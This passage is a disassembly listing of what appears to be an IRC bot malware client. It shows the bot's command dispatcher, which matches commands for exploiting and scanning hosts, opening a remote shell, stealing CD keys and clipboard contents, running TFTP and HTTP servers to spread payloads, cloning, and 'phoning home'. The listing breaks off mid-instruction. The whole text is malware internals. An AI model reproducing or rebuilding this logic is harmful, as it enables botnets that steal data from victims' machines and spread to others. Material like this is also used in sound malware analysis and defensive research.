loc_402C5E: ; CODE XREF: sub_401C87+1017j ; sub_401C87+103Dj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4098EB add esp, 20h jmp loc_40622C ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_401C87+FC2j push edi push offset aRloginstop ; "rloginstop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402CA0 push [ebp+esi+var_90] push 9 push offset aServer_3 ; "Server" push offset dword_437FB4 jmp short loc_402C5E ; --------------------------------------------------------------------------- loc_402CA0: ; CODE XREF: sub_401C87+1002j push edi push offset aHttpstop ; "httpstop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402CC6 push [ebp+esi+var_90] push 3 push offset aServer_4 ; "Server" push offset dword_437FD8 jmp short loc_402C5E ; --------------------------------------------------------------------------- loc_402CC6: ; CODE XREF: sub_401C87+1028j push edi push offset aLogstop ; "logstop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402CEF push [ebp+esi+var_90] push 25h push offset aLogList ; "Log list" push offset dword_437FFC jmp loc_402C5E ; --------------------------------------------------------------------------- loc_402CEF: ; CODE XREF: sub_401C87+104Ej push edi push offset aRedirectstop ; "redirectstop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402D18 push [ebp+esi+var_90] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_438028 jmp loc_402C5E ; --------------------------------------------------------------------------- loc_402D18: ; CODE XREF: sub_401C87+1077j push edi push offset dword_438038 call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402D41 push [ebp+esi+var_90] push 0Dh push offset dword_438044 push offset dword_438050 jmp loc_402C5E ; --------------------------------------------------------------------------- loc_402D41: ; CODE XREF: sub_401C87+10A0j push edi push offset aTftpstop ; "tftpstop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402D6A push [ebp+esi+var_90] push 5 push offset aServer_5 ; "Server" push offset dword_438070 jmp loc_402C5E ; --------------------------------------------------------------------------- loc_402D6A: ; CODE XREF: sub_401C87+10C9j push edi push offset aFindfilestop ; "findfilestop" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40428B push edi push offset aFfstop ; "ffstop" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40428B push edi push offset aProcsstop ; "procsstop" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404273 push edi push offset aPsstop ; "psstop" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404273 push edi push offset aClonestop ; "clonestop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402DE7 push [ebp+esi+var_90] push 1Fh push offset aClone ; "Clone" push offset dword_4380C0 jmp loc_402C5E ; --------------------------------------------------------------------------- loc_402DE7: ; CODE XREF: sub_401C87+1146j push edi push offset aSecurestop ; "securestop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402E10 push [ebp+esi+var_90] push 22h push offset aSecure_1 ; "Secure" push offset dword_4380E4 jmp loc_402C5E ; --------------------------------------------------------------------------- loc_402E10: ; CODE XREF: sub_401C87+116Fj push edi push offset aScanstop ; "scanstop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402E39 push [ebp+esi+var_90] push 0Bh push offset aScan_2 ; "Scan" push offset dword_438108 jmp loc_402C5E ; --------------------------------------------------------------------------- loc_402E39: ; CODE XREF: sub_401C87+1198j push edi push offset aScanstats ; "scanstats" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40425A push edi push offset aStats ; "stats" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40425A push edi push offset aTransferstats ; "transferstats" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404247 push edi push offset aTrstats ; "trstats" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404247 push edi push offset aConnectbacksta ; "connectbackstats" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404234 push edi push offset aCbstats ; "cbstats" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404234 push edi push offset aExploitlist ; "exploitlist" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404221 push edi push offset aExplist ; "explist" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404221 push edi push offset aReconnect ; "reconnect" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404202 push edi push offset aR ; "r" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404202 push edi push offset aDisconnect ; "disconnect" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4041E0 push edi push offset aDc ; "dc" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4041E0 push edi push offset aQuit_0 ; "quit" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404197 push edi push offset aQ ; "q" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404197 push edi push offset aStatus ; "status" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404159 push edi push offset aS_0 ; "s" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404159 push edi push offset aId ; "id" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404122 push edi push offset aI ; "i" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404122 push edi push offset aReboot ; "reboot" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_403005 call sub_411DBC test eax, eax mov eax, offset unk_4381B0 jnz short loc_402FD7 mov eax, offset unk_4381D0 loc_402FD7: ; CODE XREF: sub_401C87+1349j push eax lea eax, [ebp+var_2C8] push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 1Ch jmp loc_40259F ; --------------------------------------------------------------------------- loc_403005: ; CODE XREF: sub_401C87+133Bj push edi push offset aThreads ; "threads" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404044 push edi push offset aT ; "t" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404044 push edi push offset aAliases ; "aliases" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404021 push edi push offset aAl ; "al" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404021 push edi push offset aLog ; "log" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403F32 push edi push offset aLg ; "lg" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403F32 push edi push offset aClearlog ; "clearlog" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403F19 push edi push offset aClg ; "clg" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403F19 push edi push offset aNetinfo ; "netinfo" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403EDF push edi push offset aNi ; "ni" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403EDF push edi push offset aSysinfo ; "sysinfo" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403EB4 push edi push offset aSi ; "si" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403EB4 push edi push offset aRemove ; "remove" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403E7A push edi push offset aRm ; "rm" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403E7A push edi push offset aProcs ; "procs" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403D58 push edi push offset aPs ; "ps" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403D58 push edi push offset aGetcdkeys ; "getcdkeys" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403D2E push edi push offset aKey ; "key" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403D2E push edi push offset aUptime ; "uptime" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403CA7 push edi push offset aUp ; "up" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403CA7 push edi push offset aDriveinfo ; "driveinfo" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403C8A push edi push offset aDrv ; "drv" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403C8A push edi push offset aTestdlls ; "testdlls" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403C71 push edi push offset aDll ; "dll" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403C71 push edi push offset aOpencmd ; "opencmd" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403C32 push edi push offset aOcmd ; "ocmd" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403C32 push edi push offset aCmdstop ; "cmdstop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_403250 push [ebp+esi+var_90] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_4382BC jmp loc_402C5E ; --------------------------------------------------------------------------- loc_403250: ; CODE XREF: sub_401C87+15AFj push edi push offset dword_4382C8 call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_4033D6 cmp [ebp+var_8], ebx jnz short loc_403284 push ebx push [ebp+var_4] push offset dword_4382CC push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_403284: ; CODE XREF: sub_401C87+15E1j mov eax, [ebp+arg_18] mov [ebp+arg_8], ebx mov [ebp+arg_18], eax jmp short loc_403292 ; --------------------------------------------------------------------------- loc_40328F: ; CODE XREF: sub_401C87+1657j mov eax, [ebp+arg_18] loc_403292: ; CODE XREF: sub_401C87+1606j cmp [eax], bl jz short loc_403299 inc eax jmp short loc_40329E ; --------------------------------------------------------------------------- loc_403299: ; CODE XREF: sub_401C87+160Dj mov eax, offset dword_4382E0 loc_40329E: ; CODE XREF: sub_401C87+1610j push eax lea eax, [ebp+var_2C8] push [ebp+arg_8] push offset dword_4382E8 push eax call sub_417CB0 push 1 lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_8] cmp [ebp+arg_8], 3 jl short loc_40328F push offset unk_4382F0 call sub_40F927 pop ecx loc_4032EB: ; CODE XREF: sub_401C87+18E2j ; sub_401C87+28E9j mov eax, [ebp+esi+var_90] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40622C push edi push offset aExploit ; "exploit" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_4045A8 mov eax, [ebp+var_4] mov esi, offset aXp_0 ; "#xp" mov [ebp+var_12F0], eax mov eax, [ebp+var_8] mov [ebp+var_12EC], eax mov eax, [ebp+arg_4] mov [ebp+var_1300], eax mov edi, 80h push esi lea eax, [ebp+var_1380] push edi push eax mov [ebp+var_12F8], 1 call sub_417E80 push esi lea eax, [ebp+var_1400] push edi push eax call sub_417E80 push [ebp+arg_10] lea eax, [ebp+var_1410] push 10h push eax call sub_417E80 lea eax, [ebp+var_1410] push eax lea eax, [ebp+var_2C8] push offset unk_43831C push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 8 push eax call sub_409663 add esp, 3Ch mov [ebp+var_12F4], eax lea eax, [ebp+arg_24] push eax lea eax, [ebp+var_1410] push ebx push eax push offset sub_409DF2 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_12F4] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jz loc_404597 jmp loc_40458A ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_401C87+15D8j push edi push offset aGetclip ; "getclip" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403BF1 push edi push offset aGc ; "gc" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403BF1 push edi push offset aFlusharp ; "flusharp" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403BC6 push edi push offset aFarp ; "farp" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403BC6 push edi push offset aFlushdns ; "flushdns" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403B96 push edi push offset aFdns ; "fdns" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403B96 push edi push offset aCurrentip ; "currentip" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403B5C push edi push offset aCip ; "cip" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403B5C push edi push offset aHttpserver ; "httpserver" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4039C2 push edi push offset aHttp ; "http" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4039C2 push edi push offset aTftpserver ; "tftpserver" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403883 push edi push offset aTftp ; "tftp" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_403883 push edi push offset aCrash ; "crash" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_403538 lea eax, [ebp+var_2C8] push offset dword_4383C0 push eax call sub_417CB0 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403517 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_403517: ; CODE XREF: sub_401C87+1872j lea eax, [ebp+var_2C8] push eax call sub_40F927 mov [esp+10h+var_10], offset aCrash_0 ; "crash" push [ebp+esi+var_80] call sub_418A30 jmp loc_402218 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_401C87+185Aj push edi push offset aScan ; "scan" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_403588 push edi push offset aScan_0 ; "scan" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_403588 push edi push offset aPhonehome ; "phonehome" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_4032EB lea eax, [ebp+var_C0] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_407604 jmp loc_4020E7 ; --------------------------------------------------------------------------- loc_403588: ; CODE XREF: sub_401C87+18C0j ; sub_401C87+18D1j mov al, byte_43F1CA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_43F1CA jz loc_40622C mov ecx, edx loc_40359F: ; CODE XREF: sub_401C87+1920j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_40359F cmp al, bl jz loc_40622C mov [ebp+arg_18], edx mov esi, offset aXp_0 ; "#xp" loc_4035B9: ; CODE XREF: sub_401C87+1BD8j push 0Bh call sub_4098A5 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403608 push ecx lea eax, [ebp+var_2C8] push offset unk_438428 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 20h jmp loc_403856 ; --------------------------------------------------------------------------- loc_403608: ; CODE XREF: sub_401C87+194Cj or [ebp+var_6FC], 0FFFFFFFFh cmp dword_43F068, ebx mov [ebp+var_700], 64h mov [ebp+var_714], 5 mov [ebp+var_710], 320h mov [ebp+arg_0], ebx jz short loc_403679 mov edi, offset dword_43F068 loc_40363D: ; CODE XREF: sub_401C87+19D4j mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_40365F inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40363D jmp short loc_403679 ; --------------------------------------------------------------------------- loc_40365F: ; CODE XREF: sub_401C87+19CAj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_6FC], eax shl ecx, 6 mov ecx, dword_43F068[ecx] mov [ebp+var_718], ecx loc_403679: ; CODE XREF: sub_401C87+19AFj ; sub_401C87+19D6j cmp [ebp+var_718], ebx jz loc_40387C push 10h lea eax, [ebp+arg_10] pop edi push eax lea eax, [ebp+var_2E8] push eax mov [ebp+arg_10], edi push [ebp+arg_4] call dword_4D660C ; getsockname mov al, [ebp+var_96B] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E4], eax push [ebp+var_2E4] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_82C] push eax call sub_417760 xor eax, eax cmp [ebp+var_96B], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_82C] push eax call sub_418800 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40371B loc_4036F9: ; CODE XREF: sub_401C87+1A92j cmp eax, ebx jz short loc_40371B mov byte ptr [eax], 78h lea eax, [ebp+var_82C] push 30h push eax call sub_418800 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4036F9 loc_40371B: ; CODE XREF: sub_401C87+1A70j ; sub_401C87+1A74j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_71C], eax mov eax, [ebp+var_4] mov [ebp+var_6F4], eax mov eax, [ebp+var_8] mov [ebp+var_6F0], eax mov edi, 80h lea eax, [ebp+var_81C] push edi push eax mov [ebp+var_6EC], 1 call sub_417E80 push offset byte_4D651D push esi call sub_418A30 add esp, 14h test eax, eax jz short loc_40377D push esi lea eax, [ebp+var_79C] push edi push eax call sub_417E80 add esp, 0Ch jmp short loc_403783 ; --------------------------------------------------------------------------- loc_40377D: ; CODE XREF: sub_401C87+1AE1j mov [ebp+var_79C], bl loc_403783: ; CODE XREF: sub_401C87+1AF4j cmp [ebp+var_6EC], ebx mov eax, offset aRandom ; "Random" jnz short loc_403795 mov eax, offset aSequential ; "Sequential" loc_403795: ; CODE XREF: sub_401C87+1B07j push [ebp+var_700] lea ecx, [ebp+var_82C] push [ebp+var_710] push [ebp+var_714] push [ebp+var_718] push ecx push eax lea eax, [ebp+var_2C8] push offset unk_438480 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 0Bh push eax call sub_409663 add esp, 2Ch mov [ebp+var_70C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_82C] push ebx push eax push offset sub_40AA63 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_70C] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_403872 call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C8] push offset unk_4384EC push eax call sub_417CB0 add esp, 0Ch loc_403828: ; CODE XREF: sub_401C87+1BF3j cmp [ebp+var_8], ebx jnz short loc_403849 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_403849: ; CODE XREF: sub_401C87+1BA4j lea eax, [ebp+var_2C8] push eax call sub_40F927 pop ecx loc_403856: ; CODE XREF: sub_401C87+197Cj add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4035B9 jmp loc_40622C ; --------------------------------------------------------------------------- loc_40386A: ; CODE XREF: sub_401C87+1BF1j push 32h call dword_4E033C ; Sleep loc_403872: ; CODE XREF: sub_401C87+1B84j cmp [ebp+var_6E8], ebx jz short loc_40386A jmp short loc_403828 ; --------------------------------------------------------------------------- loc_40387C: ; CODE XREF: sub_401C87+19F8j push offset unk_438528 jmp short loc_403894 ; --------------------------------------------------------------------------- loc_403883: ; CODE XREF: sub_401C87+1830j ; sub_401C87+1845j push 5 call sub_4098A5 test eax, eax pop ecx jle short loc_4038A7 push offset unk_438560 loc_403894: ; CODE XREF: sub_401C87+1BFAj ; sub_401C87+2DB7j ... lea eax, [ebp+var_2C8] loc_40389A: ; CODE XREF: sub_401C87+2D26j push eax call sub_417CB0 pop ecx pop ecx jmp loc_40652F ; --------------------------------------------------------------------------- loc_4038A7: ; CODE XREF: sub_401C87+1C06j mov eax, [ebp+esi+var_90] mov edi, 104h cmp eax, ebx jz short loc_4038CA push eax lea eax, [ebp+var_17B4] push edi push eax call sub_417E80 add esp, 0Ch jmp short loc_4038D9 ; --------------------------------------------------------------------------- loc_4038CA: ; CODE XREF: sub_401C87+1C2Ej lea eax, [ebp+var_17B4] push edi push eax push ebx call dword_4E0334 ; GetModuleFileNameA loc_4038D9: ; CODE XREF: sub_401C87+1C41j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_4038E9 mov esi, offset byte_4370EC loc_4038E9: ; CODE XREF: sub_401C87+1C5Bj push esi lea eax, [ebp+var_16B0] push edi push eax call sub_417E80 mov eax, dword_43707C push 7Fh push [ebp+var_8C] mov [ebp+var_15A4], eax mov eax, [ebp+arg_4] mov [ebp+var_15A8], ebx mov [ebp+var_17B8], eax lea eax, [ebp+var_15A0] push eax call sub_417760 mov eax, [ebp+var_4] mov [ebp+var_1520], eax mov eax, [ebp+var_8] mov [ebp+var_151C], eax lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C8] push [ebp+var_15A4] push offset unk_438580 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 5 push eax call sub_409663 add esp, 34h mov [ebp+var_15AC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_17B8] push ebx push eax push offset sub_40F3B8 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_15AC] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_4039B5 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_4385B4 jmp loc_406520 ; --------------------------------------------------------------------------- loc_4039AD: ; CODE XREF: sub_401C87+1D34j push 32h call dword_4E033C ; Sleep loc_4039B5: ; CODE XREF: sub_401C87+1D13j cmp [ebp+var_1518], ebx jz short loc_4039AD jmp loc_40652F ; --------------------------------------------------------------------------- loc_4039C2: ; CODE XREF: sub_401C87+1806j ; sub_401C87+181Bj mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4039E1 push edi call sub_417960 test eax, eax pop ecx jz short loc_4039E1 push edi call sub_417960 pop ecx jmp short loc_4039E6 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401C87+1D44j ; sub_401C87+1D4Fj mov eax, dword_437080 loc_4039E6: ; CODE XREF: sub_401C87+1D58j mov esi, [ebp+esi+var_8C] mov [ebp+var_193C], eax xor eax, eax cmp [ebp+var_968], bl setz al cmp esi, ebx mov [ebp+var_1928], eax jz short loc_403A19 lea eax, [ebp+var_1A40] push esi push eax call sub_417CB0 pop ecx pop ecx jmp short loc_403A44 ; --------------------------------------------------------------------------- loc_403A19: ; CODE XREF: sub_401C87+1D7Fj lea eax, [ebp+var_AD0] push 104h push eax call dword_4E0338 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_2E4] push ebx push eax lea eax, [ebp+var_AD0] push eax call sub_417F80 add esp, 14h loc_403A44: ; CODE XREF: sub_401C87+1D90j lea eax, [ebp+var_1A40] push eax call sub_414EC0 cmp [ebp+eax+var_1A41], 5Ch pop ecx jnz short loc_403A6F lea eax, [ebp+var_1A40] push eax call sub_414EC0 pop ecx mov [ebp+eax+var_1A41], bl loc_403A6F: ; CODE XREF: sub_401C87+1DD2j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_1CC8] mov [ebp+var_1CCC], esi push 80h push eax call sub_417E80 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_192C], eax lea eax, [ebp+var_1A40] mov [ebp+var_1930], edi push eax push [ebp+var_193C] push esi call sub_408882 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_4385F0 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 3 push eax call sub_409663 add esp, 20h mov [ebp+var_1934], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1CCC] push ebx push eax push offset sub_40D826 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_1934] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_403B52 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_43862C loc_403B1D: ; CODE XREF: sub_401C87+49D1j ; sub_401C87+4CB6j ... lea eax, [ebp+var_2C8] push eax call sub_417CB0 add esp, 0Ch loc_403B2C: ; CODE XREF: sub_401C87+1ED3j ; sub_401C87+49E6j ... cmp [ebp+var_8], ebx jnz loc_40259F push ebx lea eax, [ebp+var_2C8] push edi push eax push [ebp+var_8C] push esi jmp loc_40654C ; --------------------------------------------------------------------------- loc_403B4A: ; CODE XREF: sub_401C87+1ED1j push 32h call dword_4E033C ; Sleep loc_403B52: ; CODE XREF: sub_401C87+1E88j cmp [ebp+var_1920], ebx jz short loc_403B4A jmp short loc_403B2C ; --------------------------------------------------------------------------- loc_403B5C: ; CODE XREF: sub_401C87+17DCj ; sub_401C87+17F1j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_403B6F push esi call sub_417960 jmp short loc_403B76 ; --------------------------------------------------------------------------- loc_403B6F: ; CODE XREF: sub_401C87+1EDEj push 0Bh call sub_4098C4 loc_403B76: ; CODE XREF: sub_401C87+1EE6j cmp eax, ebx pop ecx jz loc_40743C push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_409FA4 jmp loc_40403C ; --------------------------------------------------------------------------- loc_403B96: ; CODE XREF: sub_401C87+17B2j ; sub_401C87+17C7j mov eax, dword_4D6584 cmp eax, ebx jz short loc_403BB9 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2C8] jz short loc_403BB2 push offset unk_438668 jmp short loc_403BE1 ; --------------------------------------------------------------------------- loc_403BB2: ; CODE XREF: sub_401C87+1F22j push offset unk_43868C jmp short loc_403BE1 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401C87+1F16j push offset unk_4386B8 lea eax, [ebp+var_2C8] jmp short loc_403BE1 ; --------------------------------------------------------------------------- loc_403BC6: ; CODE XREF: sub_401C87+1788j ; sub_401C87+179Dj call sub_40879E test eax, eax lea eax, [ebp+var_2C8] jz short loc_403BDC push offset unk_4386E4 jmp short loc_403BE1 ; --------------------------------------------------------------------------- loc_403BDC: ; CODE XREF: sub_401C87+1F4Cj push offset unk_438708 loc_403BE1: ; CODE XREF: sub_401C87+1F29j ; sub_401C87+1F30j ... push 200h push eax call sub_417E80 jmp loc_405E9D ; --------------------------------------------------------------------------- loc_403BF1: ; CODE XREF: sub_401C87+175Ej ; sub_401C87+1773j cmp [ebp+var_8], ebx jnz short loc_403C10 push ebx push [ebp+var_4] push offset dword_438734 push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_403C10: ; CODE XREF: sub_401C87+1F6Dj push ebx push [ebp+var_4] call sub_411BDA push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A push offset dword_43874C jmp loc_403F0C ; --------------------------------------------------------------------------- loc_403C32: ; CODE XREF: sub_401C87+1585j ; sub_401C87+159Aj push 0Ah call sub_4098A5 test eax, eax pop ecx jle short loc_403C48 push offset unk_438768 jmp loc_4056D9 ; --------------------------------------------------------------------------- loc_403C48: ; CODE XREF: sub_401C87+1FB5j push [ebp+var_8C] push [ebp+arg_4] call sub_413DAC pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403C67 push offset unk_438794 jmp loc_4056D9 ; --------------------------------------------------------------------------- loc_403C67: ; CODE XREF: sub_401C87+1FD4j push offset unk_4387BC jmp loc_4056D9 ; --------------------------------------------------------------------------- loc_403C71: ; CODE XREF: sub_401C87+155Bj ; sub_401C87+1570j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4083A1 jmp loc_402037 ; --------------------------------------------------------------------------- loc_403C8A: ; CODE XREF: sub_401C87+1531j ; sub_401C87+1546j push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_41146E jmp loc_402037 ; --------------------------------------------------------------------------- loc_403CA7: ; CODE XREF: sub_401C87+1507j ; sub_401C87+151Cj or edi, 0FFFFFFFFh call dword_4E036C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_403CD0 push esi call sub_417960 pop ecx mov edi, eax loc_403CD0: ; CODE XREF: sub_401C87+203Ej mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_403CE9 cmp edi, 0FFFFFFFFh jnz loc_40743C loc_403CE9: ; CODE XREF: sub_401C87+2057j push ebx call sub_414606 push eax lea eax, [ebp+var_2C8] push offset dword_4387DC push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A lea eax, [ebp+var_2C8] push eax call sub_40F927 loc_403D26: ; CODE XREF: sub_401C87+4AFDj add esp, 28h jmp loc_40743C ; --------------------------------------------------------------------------- loc_403D2E: ; CODE XREF: sub_401C87+14DDj ; sub_401C87+14F2j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_410279 lea eax, [ebp+var_2C8] push offset dword_4387F4 push eax call sub_417CB0 loc_403D50: ; CODE XREF: sub_401C87+5021j add esp, 14h jmp loc_40652F ; --------------------------------------------------------------------------- loc_403D58: ; CODE XREF: sub_401C87+14B3j ; sub_401C87+14C8j push 27h call sub_4098A5 test eax, eax pop ecx jle short loc_403D8C cmp [ebp+var_8], ebx jnz loc_40622C push ebx push [ebp+var_4] push offset unk_438814 push [ebp+var_8C] push [ebp+arg_4] call sub_40764A loc_403D84: ; CODE XREF: sub_401C87+5763j add esp, 14h jmp loc_40622C ; --------------------------------------------------------------------------- loc_403D8C: ; CODE XREF: sub_401C87+20DBj push [ebp+var_8C] lea eax, [ebp+var_398] push 80h push eax call sub_417E80 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_39C], eax mov eax, [ebp+var_4] mov [ebp+var_310], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_30C], eax mov [ebp+var_314], ebx jz short loc_403DED push esi push offset aFull ; "full" call sub_418A30 pop ecx test eax, eax pop ecx jnz short 